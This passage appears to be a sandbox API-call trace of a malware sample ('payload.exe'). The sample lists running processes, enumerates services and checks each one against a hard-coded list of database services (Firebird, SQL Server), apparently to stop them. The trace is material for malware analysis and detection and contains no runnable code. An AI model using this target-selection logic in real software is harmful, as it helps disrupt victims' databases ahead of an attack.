Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0044.608] lstrlenW (lpString="msoia.exe") returned 9 [0044.608] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0044.608] lstrlenW (lpString="UsoClient.exe") returned 13 [0044.608] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0044.609] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0044.609] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0044.610] lstrlenW (lpString="msoia.exe") returned 9 [0044.610] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0044.610] lstrlenW (lpString="taskhostw.exe") returned 13 [0044.610] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0044.611] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0044.611] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0044.612] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0044.612] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0044.613] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0044.613] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0044.613] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0044.613] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0044.614] lstrlenW (lpString="arcobviously.exe") returned 16 [0044.614] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0044.615] lstrlenW (lpString="preston disciplines.exe") returned 23 [0044.615] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0044.615] lstrlenW (lpString="boss.exe") returned 8 [0044.615] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0044.616] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0044.616] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0044.617] lstrlenW (lpString="placing.exe") returned 11 [0044.617] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0044.618] lstrlenW (lpString="heroes.exe") returned 10 [0044.618] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0044.618] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0044.618] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0044.619] lstrlenW (lpString="requirement moments.exe") returned 23 [0044.619] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0044.667] lstrlenW (lpString="sugar.exe") returned 9 [0044.667] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0044.668] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0044.668] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0044.669] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0044.669] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0044.670] lstrlenW (lpString="genealogy.exe") returned 13 [0044.670] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0044.671] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0044.671] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0044.671] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0044.671] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0044.672] lstrlenW (lpString="expenditure.exe") returned 15 [0044.672] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0044.674] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0044.674] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0044.675] lstrlenW (lpString="upgrading.exe") returned 13 [0044.675] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0044.676] lstrlenW (lpString="conservative.exe") returned 16 [0044.676] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0044.676] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0044.677] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0044.677] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0044.677] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0044.678] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0044.678] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0044.679] lstrlenW (lpString="gods violations duke.exe") returned 24 [0044.679] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.680] lstrlenW (lpString="dllhost.exe") returned 11 [0044.680] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.681] lstrlenW (lpString="conhost.exe") returned 11 [0044.681] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.681] lstrlenW (lpString="conhost.exe") returned 11 [0044.681] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0044.682] lstrlenW (lpString="payload.exe") returned 11 [0044.682] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.683] lstrlenW (lpString="cmd.exe") returned 7 [0044.683] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.684] lstrlenW (lpString="conhost.exe") returned 11 [0044.684] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0044.684] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0044.684] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.813] lstrlenW (lpString="conhost.exe") returned 11 [0044.813] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0044.813] CloseHandle (hObject=0x370) returned 1 [0044.814] Sleep (dwMilliseconds=0x1f4) [0045.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0045.358] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0053.574] GetLastError () returned 0xea [0053.574] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c76) returned 0x6f6108 [0053.574] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0053.579] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0053.580] lstrlenW (lpString="Appinfo") returned 7 [0053.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.580] lstrlenW (lpString="AppXSvc") returned 7 [0053.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0053.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0053.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0053.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0053.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0053.580] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.581] lstrlenW (lpString="Audiosrv") returned 8 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0053.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0053.581] lstrlenW (lpString="BFE") returned 3 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.581] lstrlenW (lpString="BITS") returned 4 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0053.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0053.581] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0053.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0053.581] lstrlenW (lpString="CDPSvc") returned 6 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0053.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0053.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0053.581] lstrlenW (lpString="ClickToRunSvc") returned 13 [0053.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0053.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0053.581] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0053.582] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0053.582] lstrlenW (lpString="CryptSvc") returned 8 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.582] lstrlenW (lpString="DcomLaunch") returned 10 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.582] lstrlenW (lpString="DeviceAssociationService") returned 24 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0053.582] lstrlenW (lpString="Dhcp") returned 4 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.582] lstrlenW (lpString="Dnscache") returned 8 [0053.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.583] lstrlenW (lpString="DoSvc") returned 5 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0053.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0053.583] lstrlenW (lpString="DPS") returned 3 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.583] lstrlenW (lpString="DusmSvc") returned 7 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0053.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0053.583] lstrlenW (lpString="EventLog") returned 8 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0053.583] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0053.583] lstrlenW (lpString="EventSystem") returned 11 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.583] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.583] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.583] lstrlenW (lpString="FontCache") returned 9 [0053.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0053.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0053.584] lstrlenW (lpString="gpsvc") returned 5 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", 